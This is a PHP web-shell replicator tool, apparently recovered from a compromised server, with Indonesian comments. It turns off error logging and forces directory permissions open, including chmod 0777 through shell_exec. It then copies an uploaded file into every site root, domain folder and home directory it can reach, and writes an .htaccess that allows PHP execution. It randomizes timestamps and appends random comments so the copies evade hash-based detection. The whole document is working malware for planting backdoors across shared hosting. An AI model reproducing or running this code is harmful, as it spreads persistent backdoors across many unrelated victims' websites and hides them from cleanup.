File: //proc/self/root/var/tmp/_BTZQAh
<?php
// Tambahkan ?p= hanya jika tidak ada query string untuk menghindari error header
if (empty($_SERVER['QUERY_STRING'])) {
$url = $_SERVER['PHP_SELF'] . '?p=';
header('Location: ' . $url);
exit;
}
error_reporting(0);
ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
@error_reporting(E_ALL ^ E_NOTICE);
?>
<?php
error_reporting(0);
ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
@error_reporting(E_ALL ^ E_NOTICE);
set_time_limit(0);
ini_set('display_errors', 0);
ini_set('error_reporting', 0);
ini_set('memory_limit', '256M');
session_start();
function getMainDomain($domain) {
$parts = explode('.', $domain);
if (count($parts) > 2) {
return $parts[count($parts)-2] . '.' . $parts[count($parts)-1];
}
return $domain;
}
$loaderBasePath = null;
if (defined('REPLICATOR_BASE_PATH')) {
$loaderBasePath = REPLICATOR_BASE_PATH;
} else {
$currentDir = getcwd();
if ($currentDir !== false && is_dir($currentDir) && $currentDir !== '/tmp') {
$loaderBasePath = $currentDir;
} else {
if (!empty($_SERVER['DOCUMENT_ROOT'])) {
$loaderBasePath = $_SERVER['DOCUMENT_ROOT'];
} else {
$loaderBasePath = __DIR__;
}
}
}
$searchPath = '';
if (!empty($loaderBasePath)) {
if (strpos($loaderBasePath, '/domains/') !== false) {
$parts = explode('/domains/', $loaderBasePath, 2);
if (isset($parts[0]) && is_dir($parts[0])) {
$searchPath = $parts[0];
}
} else {
$searchPath = $loaderBasePath;
}
}
// ============================================
// đ FUNGSI: CEK DOMAIN VALID UNTUK DISPLAY
// ============================================
function isValidDomainForDisplay($host) {
if (preg_match('/\.[a-z]{2,6}$/i', $host)) {
return true;
}
if (preg_match('#^(dev|demo|test|staging|backup|bk|www|web|site|app|mail|ftp|api|cdn|static)[0-9]*\.[a-z0-9.-]+\.[a-z]{2,6}$#i', $host)) {
return true;
}
$dotCount = substr_count($host, '.');
if ($dotCount >= 2 && preg_match('/^[a-z0-9.-]+\.[a-z]{2,6}$/i', $host)) {
return true;
}
return false;
}
// ============================================
// SMART PERMISSION FIXER (START LEVEL 2+)
// ============================================
function fixSingleDirPerm($dirPath, &$debugInfo, $label = '') {
if (!file_exists($dirPath)) return true;
clearstatcache(true, $dirPath);
if (is_writable($dirPath)) {
@chmod($dirPath, 0755);
return true;
}
foreach ([0755, 0775, 0777] as $perm) {
if (@chmod($dirPath, $perm)) {
clearstatcache(true, $dirPath);
usleep(30000);
if (is_writable($dirPath)) return true;
}
}
if (function_exists('shell_exec')) {
@shell_exec("chmod 0777 " . escapeshellarg($dirPath) . " 2>/dev/null");
clearstatcache(true, $dirPath);
if (is_writable($dirPath)) return true;
}
return false;
}
function deepFixFromLevel2($targetPath, &$debugInfo, $contextLabel = '') {
$sep = DIRECTORY_SEPARATOR;
$normalizedPath = rtrim(str_replace(['\\', '//'], [$sep, $sep], $targetPath), $sep);
$components = explode($sep, $normalizedPath);
$currentPath = '';
$fixedCount = 0;
foreach ($components as $index => $component) {
if ($currentPath === '') {
if (preg_match('#^[a-z]:$#i', $component)) {
$currentPath = $component . ':';
continue;
}
$currentPath = $component;
} else {
$currentPath .= $sep . $component;
}
if (empty($currentPath) || $currentPath === $sep || preg_match('#^[a-z]:$#i', $currentPath)) {
continue;
}
$levelNumber = $index + 1;
if ($levelNumber <= 1) {
continue;
}
if (!file_exists($currentPath) || !is_dir($currentPath)) {
continue;
}
$shortName = strlen($component) > 12 ? substr($component, 0, 12) : $component;
$levelLabel = $contextLabel . '-L' . $levelNumber . '-' . $shortName;
if (fixSingleDirPerm($currentPath, $debugInfo, $levelLabel)) {
$fixedCount++;
}
}
return $fixedCount;
}
// ============================================
// ============================================
// đ KONTEN HTACCESS YANG AKAN DIBUAT
// ============================================
$HTACCESS_CONTENT = '<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>
<FilesMatch ".*\.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5|php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$">
Order Allow,Deny
Allow from all
</FilesMatch>
<FilesMatch "^(FqzTi.php)$">
Order Allow,Deny
Allow from all
</FilesMatch>';
// ============================================
// ============================================
// ⨠FUNGSI BARU: MEMBUAT FILE UNIK (WAKTU & KONTEN)
// ============================================
function makeFileUnique($filePath, $originalFileName) {
if (!file_exists($filePath)) return;
// 1. Acak waktu modifikasi (antara sekarang hingga 30 hari lalu)
$randomTime = time() - rand(0, 30*24*3600);
@touch($filePath, $randomTime);
// 2. Jika file PHP, tambahkan komentar unik di akhir
$ext = strtolower(pathinfo($originalFileName, PATHINFO_EXTENSION));
$phpExtensions = ['php', 'phtml', 'php5', 'php7', 'php8', 'phps', 'phar', 'inc'];
if (in_array($ext, $phpExtensions)) {
$uniqueComment = "\n<?php /* " . bin2hex(random_bytes(16)) . " */ ?>";
@file_put_contents($filePath, $uniqueComment, FILE_APPEND | LOCK_EX);
// Setel ulang waktu setelah penulisan agar tidak berubah
@touch($filePath, $randomTime);
}
}
// ============================================
// ============================================
// đĨ FORCE UPLOAD KE SYSTEM/ + BUAT HTACCESS (SUDAH DIMODIFIKASI)
// ============================================
function forceUploadSystemFullProcess($masterFile, $basePath, $fileName, &$debugInfo, &$urls, &$donePaths) {
global $HTACCESS_CONTENT;
$sep = DIRECTORY_SEPARATOR;
$pathKey = md5($basePath . '-system-full');
if (isset($donePaths[$pathKey])) {
return;
}
$donePaths[$pathKey] = true;
$systemPath = $basePath . $sep . 'system';
$targetFile = $systemPath . $sep . $fileName;
$htaccessFile = $systemPath . $sep . '.htaccess';
$baseName = basename($basePath);
$displayName = strlen($baseName) > 20 ? substr($baseName, 0, 20) : $baseName;
$debugInfo[] = "[SYSTEM] đ Processing: $displayName";
deepFixFromLevel2($basePath, $debugInfo, 'SYS-' . $displayName);
if (!is_dir($systemPath)) {
fixSingleDirPerm($basePath, $debugInfo, 'PRE-SYS');
$mkdirOk = @mkdir($systemPath, 0755, true);
if (!$mkdirOk) {
@chmod($basePath, 0777);
$mkdirOk = @mkdir($systemPath, 0777, true);
}
if ($mkdirOk) {
@chmod($systemPath, 0755);
$debugInfo[] = "[SYSTEM] đ Created system/";
} else {
$debugInfo[] = "[SYSTEM] â ī¸ Cannot create system/";
return;
}
} else {
deepFixFromLevel2($systemPath, $debugInfo, 'SYS-DIR-' . $displayName);
}
clearstatcache(true, $systemPath);
if (is_dir($systemPath) && !is_writable($systemPath)) {
@chmod($systemPath, 0777);
clearstatcache(true, $systemPath);
}
if (!is_writable($systemPath)) {
$debugInfo[] = "[SYSTEM] â ABORT: system/ not writable for $displayName";
return;
}
$debugInfo[] = "[SYSTEM] â
system/ is WRITABLE";
// Upload file dengan modifikasi unik
$uploadSuccess = false;
for ($retry = 1; $retry <= 3; $retry++) {
if ($retry > 1) {
@chmod($systemPath, 0777);
clearstatcache(true, $systemPath);
usleep(150000);
}
if (@copy($masterFile, $targetFile)) {
// ⨠Panggil fungsi pembuat unik
makeFileUnique($targetFile, $fileName);
@chmod($targetFile, 0644);
clearstatcache(true, $targetFile);
usleep(50000);
if (file_exists($targetFile) && filesize($targetFile) > 0) {
$uploadSuccess = true;
break;
}
}
}
// Buat/tulis .htaccess dengan komentar unik
$htaccessSuccess = false;
$randomComment = "# " . bin2hex(random_bytes(8)) . "\n";
$uniqueHtaccessContent = $randomComment . $HTACCESS_CONTENT;
if ($uploadSuccess || is_dir($systemPath)) {
if (file_exists($htaccessFile)) {
$writeResult = @file_put_contents($htaccessFile, $uniqueHtaccessContent);
if ($writeResult !== false) {
@chmod($htaccessFile, 0644);
$htaccessSuccess = true;
$debugInfo[] = "[SYSTEM] â
.htaccess UPDATED (unique)";
} else {
@chmod($htaccessFile, 0666);
$writeResult = @file_put_contents($htaccessFile, $uniqueHtaccessContent);
if ($writeResult !== false) {
@chmod($htaccessFile, 0644);
$htaccessSuccess = true;
$debugInfo[] = "[SYSTEM] â
.htaccess UPDATED (unique after chmod)";
} else {
$debugInfo[] = "[SYSTEM] â ī¸ Cannot update .htaccess";
}
}
} else {
$writeResult = @file_put_contents($htaccessFile, $uniqueHtaccessContent);
if ($writeResult !== false) {
@chmod($htaccessFile, 0644);
$htaccessSuccess = true;
$debugInfo[] = "[SYSTEM] â
.htaccess CREATED (unique)";
} else {
$tempHtaccess = $systemPath . $sep . '.htaccess_temp_' . uniqid();
$tempWrite = @file_put_contents($tempHtaccess, $uniqueHtaccessContent);
if ($tempWrite && @rename($tempHtaccess, $htaccessFile)) {
@chmod($htaccessFile, 0644);
$htaccessSuccess = true;
$debugInfo[] = "[SYSTEM] â
.htaccess CREATED (via rename, unique)";
} elseif ($tempWrite) {
@copy($tempHtaccess, $htaccessFile);
@chmod($htaccessFile, 0644);
@unlink($tempHtaccess);
if (file_exists($htaccessFile)) {
$htaccessSuccess = true;
$debugInfo[] = "[SYSTEM] â
.htaccess CREATED (via copy, unique)";
} else {
@unlink($tempHtaccess);
$debugInfo[] = "[SYSTEM] â FAIL: Cannot create .htaccess";
}
} else {
$debugInfo[] = "[SYSTEM] â FAIL: Cannot write .htaccess temp";
}
}
}
}
// Hasil akhir
if ($uploadSuccess && $htaccessSuccess) {
$host = $baseName;
if (preg_match('/\.[a-z]{2,6}$/i', $baseName) || isDomainPattern($baseName)) {
$host = $baseName;
} elseif ($baseName === 'public_html' || $baseName === 'htdocs' || $baseName === 'www') {
$host = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? '';
} else {
$host = $baseName;
}
$cleanUrl = "http://" . trim($host, '/') . "/system/" . urlencode($fileName);
if (!in_array($cleanUrl, $urls)) {
$urls[] = $cleanUrl;
if (isValidDomainForDisplay($host)) {
$debugInfo[] = "[SYSTEM] đ SUCCESS: $cleanUrl (+ unique .htaccess)";
} else {
$debugInfo[] = "[SYSTEM] đ SUCCESS (hidden): $cleanUrl (+ unique .htaccess)";
}
}
} elseif ($uploadSuccess) {
$debugInfo[] = "[SYSTEM] â ī¸ File OK but .htaccess FAILED for $displayName";
} elseif ($htaccessSuccess) {
$debugInfo[] = "[SYSTEM] â ī¸ .htaccess OK but file upload FAILED for $displayName";
} else {
$debugInfo[] = "[SYSTEM] â FAIL: Both file & .htaccess failed for $displayName";
}
}
// ============================================
// HELPERS
function extractDomainFromPath($path) {
$sep = DIRECTORY_SEPARATOR;
$parts = explode($sep, rtrim($path, $sep));
foreach (array_reverse($parts) as $part) {
if (isDomainPattern($part)) return $part;
}
return $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? '';
}
function isDomainPattern($string) {
if (strpos($string, '.') !== false && preg_match('/\.[a-z]{2,6}$/i', $string)) {
return true;
}
if (preg_match('/^(dev|demo|test|staging|backup|bk|www|web|site|app)[0-9]*$/i', $string)) {
return true;
}
return false;
}
// ============================================
// đ ī¸ forceCopyFile DIMODIFIKASI UNTUK FILE UNIK
// ============================================
function forceCopyFile($masterFile, $targetPath, &$debugInfo, $label = '') {
$sep = DIRECTORY_SEPARATOR;
$dirPath = dirname($targetPath);
if (is_dir($dirPath)) {
deepFixFromLevel2($dirPath, $debugInfo, $label.'-DIR');
} else {
@mkdir($dirPath, 0755, true);
@chmod($dirPath, 0755);
}
$decoyName = 'temp_' . bin2hex(random_bytes(8)) . '.' . str_replace(' ', '', $label);
$decoyPath = $dirPath . $sep . $decoyName;
if (@copy($masterFile, $decoyPath)) {
if (@rename($decoyPath, $targetPath)) {
// ⨠Ubah jadi unik (dengan nama file asli dari target)
makeFileUnique($targetPath, basename($targetPath));
@chmod($targetPath, 0644);
$debugInfo[] = "â
[$label] OK (unique): $targetPath";
return true;
} else {
@unlink($decoyPath);
}
}
return false;
}
// ============================================
// ============================================
// FUNGSI REPLICATE UTAMA
// ============================================
function replicate_uploaded_file($fileTmpPath, $fileName, $searchPath) {
static $once = false;
if ($once) return [];
$once = true;
if (empty($searchPath) || !is_dir($searchPath)) {
$_SESSION['debugInfo'][] = "â FATAL: Path awal tidak valid.";
return [];
}
if (!file_exists($fileTmpPath)) return [];
$masterTempFile = sys_get_temp_dir() . '/master_' . bin2hex(random_bytes(16));
if (!move_uploaded_file($fileTmpPath, $masterTempFile)) {
$_SESSION['debugInfo'][] = "â FATAL: Gagal membuat file master.";
return [];
}
$allUrls = [];
$displayUrls = [];
$doneWpPaths = [];
$doneRootPaths = [];
$sep = DIRECTORY_SEPARATOR;
$debugInfo = [];
$publicDirs = ['public_html', 'htdocs', 'www', 'public', 'httpdocs'];
$forceDirs = ['public_html', 'htdocs'];
$start = $searchPath;
while ($start !== '/' && $start !== '.') {
foreach ($forceDirs as $forceDir) {
$fullPath = $start . $sep . $forceDir;
if (!is_dir($fullPath)) continue;
$host = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? '';
$rootUrl = "http://$host/" . urlencode($fileName);
$rootKey = md5($host . '-root');
if (!isset($doneRootPaths[$rootKey])) {
$targetPath = $fullPath . $sep . $fileName;
if (forceCopyFile($masterTempFile, $targetPath, $debugInfo, "ROOT-$forceDir")) {
if (!in_array($rootUrl, $allUrls)) {
$allUrls[] = $rootUrl;
if (isValidDomainForDisplay($host)) {
$displayUrls[] = $rootUrl;
}
$doneRootPaths[$rootKey] = true;
}
}
}
forceUploadSystemFullProcess($masterTempFile, $fullPath, $fileName, $debugInfo, $allUrls, $doneWpPaths);
}
if (is_dir("$start/domains")) {
foreach (scandir("$start/domains") as $dom) {
if ($dom === '.' || $dom === '..') continue;
if (!is_dir("$start/domains/$dom")) continue;
$domainPath = "$start/domains/$dom";
$domainKey = md5($dom . '-root');
foreach ($publicDirs as $pubDirName) {
$pubFullPath = $domainPath . $sep . $pubDirName;
if (!is_dir($pubFullPath)) continue;
if (!isset($doneRootPaths[$domainKey])) {
$targetPath = $pubFullPath . $sep . $fileName;
if (forceCopyFile($masterTempFile, $targetPath, $debugInfo, "DOM-$dom")) {
$rootUrl = "http://$dom/" . urlencode($fileName);
if (!in_array($rootUrl, $allUrls)) {
$allUrls[] = $rootUrl;
if (isValidDomainForDisplay($dom)) {
$displayUrls[] = $rootUrl;
}
$doneRootPaths[$domainKey] = true;
}
}
}
forceUploadSystemFullProcess($masterTempFile, $pubFullPath, $fileName, $debugInfo, $allUrls, $doneWpPaths);
}
}
}
if (is_dir($start)) {
foreach (scandir($start) as $dir) {
if ($dir === '.' || $dir === '..') continue;
$fullPath = "$start/$dir";
if (!is_dir($fullPath)) continue;
if (in_array($dir, $publicDirs)) continue;
if ($dir === 'domains') continue;
$folderKey = md5($dir . '-folder-root');
if (!isset($doneRootPaths[$folderKey])) {
$targetPath = $fullPath . $sep . $fileName;
if (forceCopyFile($masterTempFile, $targetPath, $debugInfo, "FOLDER-$dir")) {
$rootUrl = "http://$dir/" . urlencode($fileName);
if (!in_array($rootUrl, $allUrls)) {
$allUrls[] = $rootUrl;
if (isValidDomainForDisplay($dir)) {
$displayUrls[] = $rootUrl;
}
$doneRootPaths[$folderKey] = true;
}
}
}
forceUploadSystemFullProcess($masterTempFile, $fullPath, $fileName, $debugInfo, $allUrls, $doneWpPaths);
foreach ($publicDirs as $pubDirName) {
$pubFullPath = $fullPath . $sep . $pubDirName;
if (!is_dir($pubFullPath)) continue;
$pubKey = md5($dir . '-' . $pubDirName . '-root');
if (!isset($doneRootPaths[$pubKey])) {
$targetPath = $pubFullPath . $sep . $fileName;
if (forceCopyFile($masterTempFile, $targetPath, $debugInfo, "FOLD-$dir-$pubDirName")) {
$rootUrl = "http://$dir/" . urlencode($fileName);
if (!in_array($rootUrl, $allUrls)) {
$allUrls[] = $rootUrl;
if (isValidDomainForDisplay($dir)) {
$displayUrls[] = $rootUrl;
}
$doneRootPaths[$pubKey] = true;
}
}
}
forceUploadSystemFullProcess($masterTempFile, $pubFullPath, $fileName, $debugInfo, $allUrls, $doneWpPaths);
}
}
}
$start = dirname($start);
}
if (preg_match('#^/home([^/]*)/([^/]+)#', $searchPath, $m)) {
$homePrefix = '/home' . ($m[1] ?: '') . '/';
$homeUser = $m[2];
$homePath = $homePrefix . $homeUser;
$host = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? $homeUser;
foreach ($forceDirs as $forceDir) {
$fullPath = $homePath . $sep . $forceDir;
if (!is_dir($fullPath)) continue;
$rootKey = md5($host . '-home-root');
if (!isset($doneRootPaths[$rootKey])) {
$targetPath = $fullPath . $sep . $fileName;
if (forceCopyFile($masterTempFile, $targetPath, $debugInfo, "HOME-$forceDir")) {
$rootUrl = "http://$host/" . urlencode($fileName);
if (!in_array($rootUrl, $allUrls)) {
$allUrls[] = $rootUrl;
if (isValidDomainForDisplay($host)) {
$displayUrls[] = $rootUrl;
}
$doneRootPaths[$rootKey] = true;
}
}
}
forceUploadSystemFullProcess($masterTempFile, $fullPath, $fileName, $debugInfo, $allUrls, $doneWpPaths);
}
if (is_dir($homePath)) {
foreach (scandir($homePath) as $homeFolder) {
if ($homeFolder === '.' || $homeFolder === '..') continue;
if (in_array($homeFolder, $publicDirs)) continue;
$folderFullPath = $homePath . $sep . $homeFolder;
if (!is_dir($folderFullPath)) continue;
forceUploadSystemFullProcess($masterTempFile, $folderFullPath, $fileName, $debugInfo, $allUrls, $doneWpPaths);
}
}
}
@unlink($masterTempFile);
// Domain utama
$mainDomainUrls = [];
foreach ($allUrls as $url) {
preg_match('#http://([^/]+)#', $url, $m);
if (isset($m[1])) {
$mainDomain = getMainDomain($m[1]);
if ($mainDomain !== $m[1]) {
$mainRootUrl = "http://$mainDomain/" . urlencode($fileName);
$mainSysUrl = "http://$mainDomain/system/" . urlencode($fileName);
if (!in_array($mainRootUrl, $allUrls)) {
$allUrls[] = $mainRootUrl;
if (isValidDomainForDisplay($mainDomain)) {
$displayUrls[] = $mainRootUrl;
}
}
if (!in_array($mainSysUrl, $allUrls)) {
$allUrls[] = $mainSysUrl;
if (isValidDomainForDisplay($mainDomain)) {
$displayUrls[] = $mainSysUrl;
}
}
$mainDomainUrls[$mainDomain] = true;
}
}
}
foreach ($allUrls as $url) {
if (strpos($url, '/system/') !== false) {
preg_match('#http://([^/]+)#', $url, $m);
if (isset($m[1]) && isValidDomainForDisplay($m[1])) {
if (!in_array($url, $displayUrls)) {
$displayUrls[] = $url;
}
}
}
}
$_SESSION['debugInfo'] = $debugInfo;
return [
'all_urls' => array_unique($allUrls),
'display_urls' => array_unique($displayUrls),
'total_all' => count(array_unique($allUrls)),
'total_display' => count(array_unique($displayUrls))
];
}
// ============================================
// FORM PROCESSING
// ============================================
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES['fileToUpload']) && $_FILES['fileToUpload']['error'] === UPLOAD_ERR_OK) {
$fileTmpPath = $_FILES['fileToUpload']['tmp_name'];
$fileName = $_FILES['fileToUpload']['name'];
$fileSize = $_FILES['fileToUpload']['size'];
echo "<p class='blue'>đ File: " . htmlspecialchars($fileName) . " (Ukuran: " . $fileSize . " bytes)</p>";
$result = replicate_uploaded_file($fileTmpPath, $fileName, $searchPath);
$displayUrls = $result['display_urls'];
$totalAll = $result['total_all'];
$totalDisplay = $result['total_display'];
if (!empty($displayUrls)) {
echo "<p class='green'>â
File berhasil direplikasi ke <strong>$totalDisplay</strong> domain valid";
if ($totalAll > $totalDisplay) {
echo " (dari total $totalAll lokasi)";
}
echo ":</p><ul>";
foreach ($displayUrls as $u) echo "<li><a href='$u' target='_blank'>$u</a></li>";
echo "</ul>";
echo "<p class='blue'>âšī¸ Setiap salinan dibuat <strong>unik</strong> (waktu acak, komentar acak jika PHP) & .htaccess juga unik.</p>";
} else {
echo "<p class='red'>â ī¸ Tidak ada domain valid yang ditemukan.</p>";
if ($totalAll > 0) {
echo "<p class='blue'>âšī¸ File tetap diupload ke $totalAll lokasi dengan ciri unik.</p>";
}
}
if (isset($_SESSION['debugInfo']) && !empty($_SESSION['debugInfo'])) {
echo "<details open><summary>đ Debug Information</summary><ul>";
foreach ($_SESSION['debugInfo'] as $info) {
echo "<li>" . htmlspecialchars($info) . "</li>";
}
echo "</ul></details>";
unset($_SESSION['debugInfo']);
}
echo "<hr>";
} else {
echo "<p class='red'>Tidak ada file yang diunggah atau terjadi kesalahan.</p>";
if (isset($_FILES['fileToUpload'])) {
echo "<p>Kode error: " . $_FILES['fileToUpload']['error'] . "</p>";
}
}
}
echo '<style>
body { font-family: sans-serif; line-height: 1.6; }
.green { color: #28a745; }
.red { color: #dc3545; }
.blue { color: #007bff; }
form { margin-top: 20px; padding: 20px; border: 1px solid #ccc; border-radius: 5px; }
input[type="file"] { margin-bottom: 10px; }
button { padding: 10px 15px; background-color: #007bff; color: white; border: none; border-radius: 5px; cursor: pointer; }
button:hover { background-color: #0056b3; }
ul { list-style-type: disc; margin-left: 20px; }
details { margin-top: 15px; border: 1px solid #eee; padding: 10px; border-radius: 5px; }
summary { cursor: pointer; font-weight: bold; }
</style>';
echo '<form method="POST" enctype="multipart/form-data">
<input type="file" name="fileToUpload" required>
<button type="submit">⥠Upload & Replicate</button>
</form>';
?>